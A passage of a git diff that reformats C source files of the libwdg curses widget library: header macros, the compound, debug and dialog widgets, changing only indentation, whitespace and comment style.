WDG_LOOP for(;;) +#define WDG_BUG_IF(x) do { if (x) wdg_bug(__FILE__, __FUNCTION__, __LINE__, #x); } while (0) +#define WDG_NOT_IMPLEMENTED() do { wdg_bug(__FILE__, __FUNCTION__, __LINE__, "Not yet implemented"); } while (0) + +#define WDG_SAFE_CALLOC(x, n, s) \ + do { \ + x = calloc(n, s); \ + WDG_ON_ERROR(x, NULL, "virtual memory exhausted"); \ + /* WDG_DEBUG_MSG("[%s:%d] WDG_SAFE_CALLOC: %#x", __FUNCTION__, __LINE__, x); */ \ + } while (0) + +#define WDG_SAFE_REALLOC(x, s) \ + do { \ + /* WDG_DEBUG_MSG("[%s:%d] WDG_SAFE_REALLOC: before %#x", __FUNCTION__, __LINE__, x); */ \ + x = realloc(x, s); \ + WDG_ON_ERROR(x, NULL, "virtual memory exhausted"); \ + /* WDG_DEBUG_MSG("[%s:%d] WDG_SAFE_REALLOC: after %#x", __FUNCTION__, __LINE__, x); */ \ + } while (0) + +#define WDG_SAFE_FREE(x) \ + do { \ + /* WDG_DEBUG_MSG("[%s:%d] WDG_SAFE_FREE: %#x", __FUNCTION__, __LINE__, x); */ \ + if (x) { \ + free(x); \ + x = NULL; \ + } \ + } while (0) + +#define WDG_SAFE_STRDUP(x, s) \ + do { \ + x = strdup(s); \ + WDG_ON_ERROR(x, NULL, "virtual memory exhausted"); \ + /* WDG_DEBUG_MSG("[%s:%d] WDG_SAFE_STRDUP: %#x", __FUNCTION__, __LINE__, x); */ \ + } while (0) + +#define WDG_EXECUTE(x, ...) do { if (x != NULL) x(__VA_ARGS__); } while (0) + +#define WDG_LOOP for (;;) /* used by halfdelay */ #define WDG_INPUT_TIMEOUT 1 @@ -127,8 +129,8 @@ struct wdg_scr { size_t lines; size_t cols; size_t flags; - #define WDG_SCR_HAS_COLORS 1 - #define WDG_SCR_INITIALIZED (1<<1) +#define WDG_SCR_HAS_COLORS 1 +#define WDG_SCR_INITIALIZED (1 << 1) }; /* global scruct for current screen */ @@ -147,25 +149,25 @@ struct wdg_mouse_event { struct wdg_object { /* object flags */ size_t flags; - #define WDG_OBJ_WANT_FOCUS 1 - #define WDG_OBJ_FOCUS_MODAL (1<<1) - #define WDG_OBJ_FOCUSED (1<<2) - #define WDG_OBJ_VISIBLE (1<<3) - #define WDG_OBJ_ROOT_OBJECT (1<<7) +#define WDG_OBJ_WANT_FOCUS 1 +#define WDG_OBJ_FOCUS_MODAL (1 << 1) +#define WDG_OBJ_FOCUSED (1 << 2) +#define WDG_OBJ_VISIBLE (1 << 3) +#define WDG_OBJ_ROOT_OBJECT (1 << 7) /* object type */ size_t type; - #define WDG_COMPOUND 0 - #define WDG_WINDOW 1 - #define WDG_PANEL 2 - #define WDG_SCROLL 3 - #define WDG_MENU 4 - #define WDG_DIALOG 5 - #define WDG_PERCENTAGE 6 - #define WDG_FILE 7 - #define WDG_INPUT 8 - #define WDG_LIST 9 - #define WDG_DYNLIST 10 - +#define WDG_COMPOUND 0 +#define WDG_WINDOW 1 +#define WDG_PANEL 2 +#define WDG_SCROLL 3 +#define WDG_MENU 4 +#define WDG_DIALOG 5 +#define WDG_PERCENTAGE 6 +#define WDG_FILE 7 +#define WDG_INPUT 8 +#define WDG_LIST 9 +#define WDG_DYNLIST 10 + /* destructor function */ int (*destroy)(struct wdg_object *wo); int destroy_key; @@ -205,10 +207,10 @@ typedef struct wdg_object wdg_t; /* WIDGETS */ -#define WDG_MOVE_PANEL(pan, y, x) do{ WDG_ON_ERROR(move_panel(pan, y, x), ERR, "Resized too much... (%d,%d)", x, y); }while(0) -#define WDG_WRESIZE(win, l, c) do{ WDG_ON_ERROR(wresize(win, l, c), ERR, "Resized too much...(%dx%d)", c, l); }while(0) +#define WDG_MOVE_PANEL(pan, y, x) do { WDG_ON_ERROR(move_panel(pan, y, x), ERR, "Resized too much... (%d,%d)", x, y); } while (0) +#define WDG_WRESIZE(win, l, c) do { WDG_ON_ERROR(wresize(win, l, c), ERR, "Resized too much...(%dx%d)", c, l); } while (0) -#define WDG_WO_EXT(type, var) type *var = (type *)(wo->extend) +#define WDG_WO_EXT(type, var) type * var = (type *)(wo->extend) /* alignment */ #define WDG_ALIGN_LEFT 0 @@ -218,7 +220,7 @@ typedef struct wdg_object wdg_t; /* compound ojbects */ extern void wdg_compound_add(wdg_t *wo, wdg_t *widget); extern void wdg_compound_set_focus(wdg_t *wo, wdg_t *widget); -extern wdg_t * wdg_compound_get_focused(wdg_t *wo); +extern wdg_t *wdg_compound_get_focused(wdg_t *wo); void wdg_compound_add_callback(wdg_t *wo, int key, void (*callback)(void)); /* window ojbects */ extern void wdg_window_print(wdg_t *wo, size_t x, size_t y, char *fmt, ...); @@ -238,17 +240,17 @@ struct wdg_menu { extern void wdg_menu_add(wdg_t *wo, struct wdg_menu *menu); /* dialog objects */ extern void wdg_dialog_text(wdg_t *wo, size_t flags, const char *text); - #define WDG_NO_BUTTONS 0 - #define WDG_OK 1 - #define WDG_YES (1<<1) - #define WDG_NO (1<<2) - #define WDG_CANCEL (1<<3) +#define WDG_NO_BUTTONS 0 +#define WDG_OK 1 +#define WDG_YES (1 << 1) +#define WDG_NO (1 << 2) +#define WDG_CANCEL (1 << 3) extern void wdg_dialog_add_callback(wdg_t *wo, size_t flag, void (*callback)(void)); /* percentage objects */ extern int wdg_percentage_set(wdg_t *wo, size_t p, size_t max); - #define WDG_PERCENTAGE_INTERRUPTED -1 - #define WDG_PERCENTAGE_FINISHED 0 - #define WDG_PERCENTAGE_UPDATED 1 +#define WDG_PERCENTAGE_INTERRUPTED -1 +#define WDG_PERCENTAGE_FINISHED 0 +#define WDG_PERCENTAGE_UPDATED 1 /* file dialog objects */ extern void wdg_file_set_callback(wdg_t *wo, void (*callback)(const char *path, char *file)); /* input dialog objects */ @@ -268,11 +270,10 @@ void wdg_list_select_callback(wdg_t *wo, void (*callback)(void *)); /* dynlist objects */ void wdg_dynlist_refresh(wdg_t *wo); void wdg_dynlist_add_callback(wdg_t *wo, int key, void (*callback)(void *)); -void wdg_dynlist_print_callback(wdg_t *wo, void * func(int mode, void *list, char **desc, size_t len)); +void wdg_dynlist_print_callback(wdg_t *wo, void *func(int mode, void *list, char **desc, size_t len)); void wdg_dynlist_select_callback(wdg_t *wo, void (*callback)(void *)); void wdg_dynlist_reset(wdg_t *wo); - /* EXPORTED FUNCTIONS */ extern void wdg_init(void); @@ -294,19 +295,19 @@ extern void wdg_add_destroy_key(wdg_t *wo, int key, void (*callback)(void)); /* object modifications */ extern void wdg_set_size(wdg_t *wo, int x1, int y1, int x2, int y2); -extern void wdg_set_colors(wdg_t *wo, int color, size_t type); +extern void wdg_set_colors(wdg_t *wo, int color, size_t type); extern void wdg_draw_object(wdg_t *wo); extern size_t wdg_get_type(wdg_t *wo); extern void wdg_set_focus(wdg_t *wo); extern void wdg_set_title(wdg_t *wo, char *title, size_t align); extern void wdg_init_color(u_char pair, u_char fg, u_char bg); extern void wdg_set_color(wdg_t *wo, size_t part, u_char pair); - #define WDG_COLOR_SCREEN 0 - #define WDG_COLOR_TITLE 1 - #define WDG_COLOR_BORDER 2 - #define WDG_COLOR_FOCUS 3 - #define WDG_COLOR_WINDOW 4 - #define WDG_COLOR_SELECT 5 +#define WDG_COLOR_SCREEN 0 +#define WDG_COLOR_TITLE 1 +#define WDG_COLOR_BORDER 2 +#define WDG_COLOR_FOCUS 3 +#define WDG_COLOR_WINDOW 4 +#define WDG_COLOR_SELECT 5 extern void wdg_screen_color(u_char pair); /* object size */ @@ -315,9 +316,8 @@ extern size_t wdg_get_ncols(wdg_t *wo); extern size_t wdg_get_begin_x(wdg_t *wo); extern size_t wdg_get_begin_y(wdg_t *wo); -#endif +#endif /* EOF */ // vim:ts=3:expandtab - diff --git a/src/interfaces/curses/widgets/wdg_compound.c b/src/interfaces/curses/widgets/wdg_compound.c index 2b5f6b159..7a66f7c60 100644 --- a/src/interfaces/curses/widgets/wdg_compound.c +++ b/src/interfaces/curses/widgets/wdg_compound.c @@ -1,23 +1,23 @@ /* - WDG -- compound widget (can contain other widgets) - - Copyright (C) ALoR - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * WDG -- compound widget (can contain other widgets) + * + * Copyright (C) ALoR + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include @@ -61,15 +61,15 @@ static int wdg_compound_dispatch(struct wdg_object *wo, int key, struct wdg_mous /*******************************************/ -/* +/* * called to create a compound */ void wdg_create_compound(struct wdg_object *wo) { struct wdg_compound *ww; - + WDG_DEBUG_MSG("wdg_create_compound"); - + /* set the callbacks */ wo->destroy = wdg_compound_destroy; wo->resize = wdg_compound_resize; @@ -81,11 +81,11 @@ void wdg_create_compound(struct wdg_object *wo) WDG_SAFE_CALLOC(wo->extend, 1, sizeof(struct wdg_compound)); ww = (struct wdg_compound *)wo->extend; - + TAILQ_INIT(&ww->widgets_list); } -/* +/* * called to destroy a compound */ static int wdg_compound_destroy(struct wdg_object *wo) @@ -93,14 +93,14 @@ static int wdg_compound_destroy(struct wdg_object *wo) WDG_WO_EXT(struct wdg_compound, ww); struct wdg_widget_list *e, *tmp; struct wdg_compound_call *c; - + WDG_DEBUG_MSG("wdg_compound_destroy"); /* erase the window */ wbkgd(ww->win, COLOR_PAIR(wo->screen_color)); werase(ww->win); wnoutrefresh(ww->win); - + /* dealloc the structures */ delwin(ww->win); @@ -109,7 +109,7 @@ static int wdg_compound_destroy(struct wdg_object *wo) wdg_destroy_object(&e->wdg); WDG_SAFE_FREE(e); } - + /* free the callback list */ while (SLIST_FIRST(&ww->callbacks) != NULL) { c = SLIST_FIRST(&ww->callbacks); @@ -122,7 +122,7 @@ static int wdg_compound_destroy(struct wdg_object *wo) return WDG_E_SUCCESS; } -/* +/* * called to resize a compound */ static int wdg_compound_resize(struct wdg_object *wo) @@ -132,7 +132,7 @@ static int wdg_compound_resize(struct wdg_object *wo) return WDG_E_SUCCESS; } -/* +/* * called to redraw a compound (it redraws all the contained widgets) */ static int wdg_compound_redraw(struct wdg_object *wo) @@ -143,9 +143,9 @@ static int wdg_compound_redraw(struct wdg_object *wo) size_t l = wdg_get_nlines(wo); size_t x = wdg_get_begin_x(wo); size_t y = wdg_get_begin_y(wo); - + WDG_DEBUG_MSG("wdg_compound_redraw"); - + /* the window already exist */ if (ww->win) { /* erase the border */ @@ -153,13 +153,13 @@ static int wdg_compound_redraw(struct wdg_object *wo) werase(ww->win); touchwin(ww->win); wnoutrefresh(ww->win); - + /* resize the window and draw the new border */ mvwin(ww->win, y, x); wresize(ww->win, l, c); wdg_compound_border(wo); - - /* the first time we have to allocate the window */ + + /* the first time we have to allocate the window */ } else { /* create the outher window */ @@ -168,13 +168,12 @@ static int wdg_compound_redraw(struct wdg_object *wo) /* draw the borders */ wdg_compound_border(wo); - } - + /* refresh the window */ redrawwin(ww->win); wnoutrefresh(ww->win); - + wo->flags |= WDG_OBJ_VISIBLE; /* redraw all the contained widget */ @@ -185,17 +184,17 @@ static int wdg_compound_redraw(struct wdg_object *wo) return WDG_E_SUCCESS; } -/* +/* * called when the compound gets the focus */ static int wdg_compound_get_focus(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_compound, ww); struct wdg_widget_list *e; - + /* set the flag */ wo->flags |= WDG_OBJ_FOCUSED; - + /* set the focus on the focused widget */ TAILQ_FOREACH(e, &(ww->widgets_list), next) { if (e == ww->focused) @@ -204,34 +203,34 @@ static int wdg_compound_get_focus(struct wdg_object *wo) /* redraw the window */ wdg_compound_redraw(wo); - + return WDG_E_SUCCESS; } -/* +/* * called when the compound looses the focus */ static int wdg_compound_lost_focus(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_compound, ww); struct wdg_widget_list *e; - + /* set the flag */ wo->flags &= ~WDG_OBJ_FOCUSED; - + /* remove the focus from the focused widget */ TAILQ_FOREACH(e, &(ww->widgets_list), next) { if (e == ww->focused) e->wdg->flags &= ~WDG_OBJ_FOCUSED; } - + /* redraw the window */ wdg_compound_redraw(wo); - + return WDG_E_SUCCESS; } -/* +/* * called by the messages dispatcher when the compound is focused */ static int wdg_compound_get_msg(struct wdg_object *wo, int key, struct wdg_mouse_event *mouse) @@ -241,42 +240,41 @@ static int wdg_compound_get_msg(struct wdg_object *wo, int key, struct wdg_mouse /* handle the message */ switch (key) { - case KEY_MOUSE: - /* is the mouse event within our edges ? */ - if (wenclose(ww->win, mouse->y, mouse->x)) { + case KEY_MOUSE: + /* is the mouse event within our edges ? */ + if (wenclose(ww->win, mouse->y, mouse->x)) { + wdg_set_focus(wo); + /* dispatch to the proper widget */ + TAILQ_FOREACH(wl, &ww->widgets_list, next) + if (wl->wdg->get_msg(wl->wdg, key, mouse) == WDG_E_SUCCESS) { + /* + * the widget has handled the message, + * set to the focused one + */ + ww->focused = wl; + /* + * regain focus to the compound + * this is needed because it is always the + * compound that must receive the messages + */ wdg_set_focus(wo); - /* dispatch to the proper widget */ - TAILQ_FOREACH(wl, &ww->widgets_list, next) - if (wl->wdg->get_msg(wl->wdg, key, mouse) == WDG_E_SUCCESS) { - /* - * the widget has handled the message, - * set to the focused one - */ - ww->focused = wl; - /* - * regain focus to the compound - * this is needed because it is always the - * compound that must receive the messages - */ - wdg_set_focus(wo); - } } - else - return -WDG_E_NOTHANDLED; - break; - - /* move the focus */ - case KEY_LEFT: - case KEY_RIGHT: - wdg_compound_move(wo, key); - break; - - /* dispatch the message to the focused widget */ - default: - return wdg_compound_dispatch(wo, key, mouse); - break; + } else + return -WDG_E_NOTHANDLED; + break; + + /* move the focus */ + case KEY_LEFT: + case KEY_RIGHT: + wdg_compound_move(wo, key); + break; + + /* dispatch the message to the focused widget */ + default: + return wdg_compound_dispatch(wo, key, mouse); + break; } - + return WDG_E_SUCCESS; } @@ -289,29 +287,28 @@ static void wdg_compound_move(struct wdg_object *wo, int key) if (ww->focused == NULL) return; - /* move the focus to the right widget */ if (key == KEY_LEFT) { WDG_DEBUG_MSG("wdg_compound_move: prev"); - - if (TAILQ_PREV(ww->focused, wtail, next) != NULL) { - /* remove the focus from the current object */ - ww->focused->wdg->flags &= ~WDG_OBJ_FOCUSED; - ww->focused = TAILQ_PREV(ww->focused, wtail, next); - /* give the focus to the new one */ - ww->focused->wdg->flags |= WDG_OBJ_FOCUSED; - } + + if (TAILQ_PREV(ww->focused, wtail, next) != NULL) { + /* remove the focus from the current object */ + ww->focused->wdg->flags &= ~WDG_OBJ_FOCUSED; + ww->focused = TAILQ_PREV(ww->focused, wtail, next); + /* give the focus to the new one */ + ww->focused->wdg->flags |= WDG_OBJ_FOCUSED; + } } else if (key == KEY_RIGHT) { - WDG_DEBUG_MSG("wdg_compound_move: next"); - - if (TAILQ_NEXT(ww->focused, next) != NULL) { - /* remove the focus from the current object */ - ww->focused->wdg->flags &= ~WDG_OBJ_FOCUSED; - ww->focused = TAILQ_NEXT(ww->focused, next); - /* give the focus to the new one */ - ww->focused->wdg->flags |= WDG_OBJ_FOCUSED; - } + WDG_DEBUG_MSG("wdg_compound_move: next"); + + if (TAILQ_NEXT(ww->focused, next) != NULL) { + /* remove the focus from the current object */ + ww->focused->wdg->flags &= ~WDG_OBJ_FOCUSED; + ww->focused = TAILQ_NEXT(ww->focused, next); + /* give the focus to the new one */ + ww->focused->wdg->flags |= WDG_OBJ_FOCUSED; + } } /* repaint the object */ @@ -329,12 +326,12 @@ static int wdg_compound_dispatch(struct wdg_object *wo, int key, struct wdg_mous /* first: check if the key is linked to a callback */ SLIST_FOREACH(c, &ww->callbacks, next) { if (c->key == key) { - + WDG_DEBUG_MSG("wdg_compound_callback"); - + /* execute the callback */ WDG_EXECUTE(c->callback); - + return WDG_E_SUCCESS; } } @@ -343,7 +340,6 @@ static int wdg_compound_dispatch(struct wdg_object *wo, int key, struct wdg_mous return ww->focused->wdg->get_msg(ww->focused->wdg, key, mouse); } - /* * draw the borders and title */ @@ -351,7 +347,7 @@ static void wdg_compound_border(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_compound, ww); size_t c = wdg_get_ncols(wo); - + /* the object was focused */ if (wo->flags & WDG_OBJ_FOCUSED) { wattron(ww->win, A_BOLD); @@ -361,30 +357,29 @@ static void wdg_compound_border(struct wdg_object *wo) /* draw the borders */ box(ww->win, 0, 0); - + /* set the title color */ wbkgdset(ww->win, COLOR_PAIR(wo->title_color)); - + /* there is a title: print it */ if (wo->title) { switch (wo->align) { - case WDG_ALIGN_LEFT: - wmove(ww->win, 0, 3); - break; - case WDG_ALIGN_CENTER: - wmove(ww->win, 0, (c - strlen(wo->title)) / 2); - break; - case WDG_ALIGN_RIGHT: - wmove(ww->win, 0, c - strlen(wo->title) - 3); - break; + case WDG_ALIGN_LEFT: + wmove(ww->win, 0, 3); + break; + case WDG_ALIGN_CENTER: + wmove(ww->win, 0, (c - strlen(wo->title)) / 2); + break; + case WDG_ALIGN_RIGHT: + wmove(ww->win, 0, c - strlen(wo->title) - 3); + break; } wprintw(ww->win, wo->title); } - + /* restore the attribute */ if (wo->flags & WDG_OBJ_FOCUSED) wattroff(ww->win, A_BOLD); - } /* @@ -415,31 +410,31 @@ void wdg_compound_set_focus(wdg_t *wo, wdg_t *widget) struct wdg_widget_list *e; TAILQ_FOREACH(e, &ww->widgets_list, next) { - - /* remove the focus from the current object */ - if (e->wdg->flags & WDG_OBJ_FOCUSED) - ww->focused->wdg->flags &= ~WDG_OBJ_FOCUSED; - - if (e->wdg == widget) { - /* give the focus to the new one */ - ww->focused->wdg->flags |= WDG_OBJ_FOCUSED; - } + + /* remove the focus from the current object */ + if (e->wdg->flags & WDG_OBJ_FOCUSED) + ww->focused->wdg->flags &= ~WDG_OBJ_FOCUSED; + + if (e->wdg == widget) { + /* give the focus to the new one */ + ww->focused->wdg->flags |= WDG_OBJ_FOCUSED; + } } } /* * returns the current focused widget */ -wdg_t * wdg_compound_get_focused(wdg_t *wo) +wdg_t *wdg_compound_get_focused(wdg_t *wo) { WDG_WO_EXT(struct wdg_compound, ww); struct wdg_widget_list *e; /* search and return the focused one */ TAILQ_FOREACH(e, &ww->widgets_list, next) - if (e->wdg->flags & WDG_OBJ_FOCUSED) - return e->wdg; - + if (e->wdg->flags & WDG_OBJ_FOCUSED) + return e->wdg; + return NULL; } @@ -452,7 +447,7 @@ void wdg_compound_add_callback(wdg_t *wo, int key, void (*callback)(void)) struct wdg_compound_call *c; WDG_SAFE_CALLOC(c, 1, sizeof(struct wdg_compound_call)); - + c->key = key; c->callback = callback; @@ -462,4 +457,3 @@ void wdg_compound_add_callback(wdg_t *wo, int key, void (*callback)(void)) /* EOF */ // vim:ts=3:expandtab - diff --git a/src/interfaces/curses/widgets/wdg_debug.c b/src/interfaces/curses/widgets/wdg_debug.c index 0cb880fa6..967418b7e 100644 --- a/src/interfaces/curses/widgets/wdg_debug.c +++ b/src/interfaces/curses/widgets/wdg_debug.c @@ -1,24 +1,24 @@ /* - WDG -- debug module - - Copyright (C) ALoR - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - - -*/ + * WDG -- debug module + * + * Copyright (C) ALoR + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + * + */ #include @@ -27,7 +27,7 @@ #ifdef DEBUG #ifdef HAVE_NCURSES - #include +#include #endif #include @@ -40,48 +40,45 @@ FILE *wdg_debug_file = NULL; void wdg_debug_init(void) { - wdg_debug_file = fopen ("libwdg-"LIBWDG_VERSION"_debug.log", "w"); - WDG_ON_ERROR(wdg_debug_file, NULL, "Couldn't open for writing %s", "libwdg-"LIBWDG_VERSION"_debug.log"); - - fprintf (wdg_debug_file, "\n==============================================================\n"); - - fprintf (wdg_debug_file, "\n-> libwdg %s\n\n", LIBWDG_VERSION); - #if defined (__GNUC__) && defined (__GNUC_MINOR__) - fprintf (wdg_debug_file, "-> compiled with gcc %d.%d (%s)\n", __GNUC__, __GNUC_MINOR__, CC_VERSION); - #endif - #if defined (__GLIBC__) && defined (__GLIBC_MINOR__) - fprintf (wdg_debug_file, "-> glibc version %d.%d\n", __GLIBC__, __GLIBC_MINOR__); - #endif - #ifdef HAVE_NCURSES - fprintf (wdg_debug_file, "-> %s\n", curses_version()); - #endif - fprintf (wdg_debug_file, "\n\nDEVICE OPENED FOR libwdg DEBUGGING\n\n"); - fflush(wdg_debug_file); -} + wdg_debug_file = fopen("libwdg-"LIBWDG_VERSION "_debug.log", "w"); + WDG_ON_ERROR(wdg_debug_file, NULL, "Couldn't open for writing %s", "libwdg-"LIBWDG_VERSION "_debug.log"); + fprintf(wdg_debug_file, "\n==============================================================\n"); + fprintf(wdg_debug_file, "\n-> libwdg %s\n\n", LIBWDG_VERSION); +#if defined(__GNUC__) && defined(__GNUC_MINOR__) + fprintf(wdg_debug_file, "-> compiled with gcc %d.%d (%s)\n", __GNUC__, __GNUC_MINOR__, CC_VERSION); +#endif +#if defined(__GLIBC__) && defined(__GLIBC_MINOR__) + fprintf(wdg_debug_file, "-> glibc version %d.%d\n", __GLIBC__, __GLIBC_MINOR__); +#endif +#ifdef HAVE_NCURSES + fprintf(wdg_debug_file, "-> %s\n", curses_version()); +#endif + fprintf(wdg_debug_file, "\n\nDEVICE OPENED FOR libwdg DEBUGGING\n\n"); + fflush(wdg_debug_file); +} void wdg_debug_close(void) { - fprintf (wdg_debug_file, "\n\nDEVICE CLOSED FOR DEBUGGING\n\n"); + fprintf(wdg_debug_file, "\n\nDEVICE CLOSED FOR DEBUGGING\n\n"); fflush(wdg_debug_file); - fclose (wdg_debug_file); + fclose(wdg_debug_file); /* set it to null and check from other threads */ wdg_debug_file = NULL; } - void wdg_debug_msg(const char *message, ...) { va_list ap; - char debug_message[strlen(message)+2]; + char debug_message[strlen(message) + 2]; /* if it was closed by another thread on exit */ if (wdg_debug_file == NULL) return; memset(debug_message, 0, sizeof(debug_message)); - + strncpy(debug_message, message, sizeof(debug_message) - 2); strcat(debug_message, "\n"); @@ -94,8 +91,6 @@ void wdg_debug_msg(const char *message, ...) #endif /* DEBUG */ - /* EOF */ // vim:ts=3:expandtab - diff --git a/src/interfaces/curses/widgets/wdg_dialog.c b/src/interfaces/curses/widgets/wdg_dialog.c index c4eefc86e..a05d59eac 100644 --- a/src/interfaces/curses/widgets/wdg_dialog.c +++ b/src/interfaces/curses/widgets/wdg_dialog.c @@ -1,23 +1,23 @@ /* - WDG -- dialog widget - - Copyright (C) ALoR - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * WDG -- dialog widget + * + * Copyright (C) ALoR + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include @@ -25,7 +25,7 @@ #include /* GLOBALS */ - + struct wdg_button { char *label; char selected; @@ -63,7 +63,7 @@ static void wdg_dialog_callback(struct wdg_object *wo); /*******************************************/ -/* +/* * called to create a window */ void wdg_create_dialog(struct wdg_object *wo) @@ -71,7 +71,7 @@ void wdg_create_dialog(struct wdg_object *wo) struct wdg_dialog *ww; WDG_DEBUG_MSG("wdg_create_dialog"); - + /* set the callbacks */ wo->destroy = wdg_dialog_destroy; wo->resize = wdg_dialog_resize; @@ -83,7 +83,7 @@ void wdg_create_dialog(struct wdg_object *wo) WDG_SAFE_CALLOC(wo->extend, 1, sizeof(struct wdg_dialog)); ww = (struct wdg_dialog *)wo->extend; - + /* initialize the labels, the other fields are zeroed by the calloc */ ww->buttons[0].label = " Ok "; ww->buttons[1].label = " Yes "; @@ -91,13 +91,13 @@ void wdg_create_dialog(struct wdg_object *wo) ww->buttons[3].label = " Cancel "; } -/* +/* * called to destroy a window */ static int wdg_dialog_destroy(struct wdg_object *wo) { WDG_WO_EXT(struct wdg_dialog, ww); - + WDG_DEBUG_MSG("wdg_dialog_destroy"); /* erase the window */ @@ -107,7 +107,7 @@ static int wdg_dialog_destroy(struct wdg_object *wo) werase(ww->win); wnoutrefresh(ww->sub); wnoutrefresh(ww->win); - + /* dealloc the structures */ delwin(ww->sub); delwin(ww->win); @@ -121,7 +121,7 @@ static int wdg_dialog_destroy(struct wdg_object *wo) return WDG_E_SUCCESS; } -/* +/* * called to resize a window */ static int wdg_dialog_resize(struct wdg_object *wo) @@ -131,7 +131,7 @@ static int wdg_dialog_resize(struct wdg_object *wo) return WDG_E_SUCCESS; } -/* +/* * called to redraw a window */ static int wdg_dialog_redraw(struct wdg_object *wo) @@ -139,9 +139,9 @@ static int wdg_dialog_redraw(struct wdg_object *wo) WDG_WO_EXT(struct wdg_dialog, ww); size_t c, l, x, y; size_t lines, cols; - + WDG_DEBUG_MSG("wdg_dialog_redraw"); - + /* calculate the dimension and position */ wdg_dialog_get_size(wo, &lines, &cols); @@ -150,21 +150,21 @@ static int wdg_dialog_redraw(struct wdg_object *wo) wo->x1 = 0; else wo->x1 = (current_screen.cols - (cols + 4)) / 2; - + wo->y1 = (current_screen.lines - (lines + 4)) / 2; wo->x2 = -wo->x1; wo->y2 = -wo->y1; - + /* get the cohorditates as usual */ c = wdg_get_ncols(wo); l = wdg_get_nlines(wo); x = wdg_get_begin_x(wo); y = wdg_get_begin_y(wo); - + /* deal with rouding */ if (l != lines + 4) l = lines + 4; if (c != cols + 4) c = cols + 4; - + /* the window already exist */ if (ww->win) { /* erase the border */ @@ -172,20 +172,20 @@ static int wdg_dialog_redraw(struct wdg_object *wo) werase(ww->win); touchwin(ww->win); wnoutrefresh(ww->win); - + /* resize the window and draw the new border */ mvwin(ww->win, y, x); wresize(ww->win, l, c); wdg_dialog_border(wo); wdg_dialog_buttons(wo); - + /* resize the actual window and touch it */ mvwin(ww->sub, y + 2, x + 2); wresize(ww->sub, l - 4, c - 4); /* set the window color */ wbkgdset(ww->sub, COLOR_PAIR(wo->window_color)); - /* the first time we have to allocate the window */ + /* the first time we have to allocate the window */ } else { /* create the outher window */ @@ -199,30 +199,29 @@ static int wdg_dialog_redraw(struct wdg_object *wo) /* create the inner (actual) window */ if ((ww->sub = newwin(l - 4, c - 4, y + 2, x + 2)) == NULL) return -WDG_E_FATAL; - + /* set the window color */ wbkgdset(ww->sub, COLOR_PAIR(wo->window_color)); werase(ww->sub); redrawwin(ww->sub); - } - + /* print the message text */ wmove(ww->sub, 0, 0); wprintw(ww->sub, ww->text); - + /* refresh the window */ redrawwin(ww->sub); redrawwin(ww->win); wnoutrefresh(ww->win); wnoutrefresh(ww->sub); - + wo->flags |= WDG_OBJ_VISIBLE; return WDG_E_SUCCESS; } -/* +/* * called when the window gets the focus */ static int wdg_dialog_get_focus(struct wdg_object *wo) @@ -232,25 +231,25 @@ static int wdg_dialog_get_focus(struct wdg_object *wo) /* redraw the window */ wdg_dialog_redraw(wo); - + return WDG_E_SUCCESS; } -/* +/* * called when the window looses the focus */ static int wdg_dialog_lost_focus(struct wdg_object *wo) { /* set the flag */ wo->flags &= ~WDG_OBJ_FOCUSED; - + /* redraw the window */ wdg_dialog_redraw(wo); - + return WDG_E_SUCCESS; } -/* +/* * called by the messages dispatcher when the window is focused */ static int wdg_dialog_get_msg(struct wdg_object *wo, int key, struct wdg_mouse_event *mouse) @@ -259,33 +258,33 @@ static int wdg_dialog_get_msg(struct wdg_object *wo, int key, struct wdg_mouse_e /* handle the message */ switch (key) { - case KEY_MOUSE: 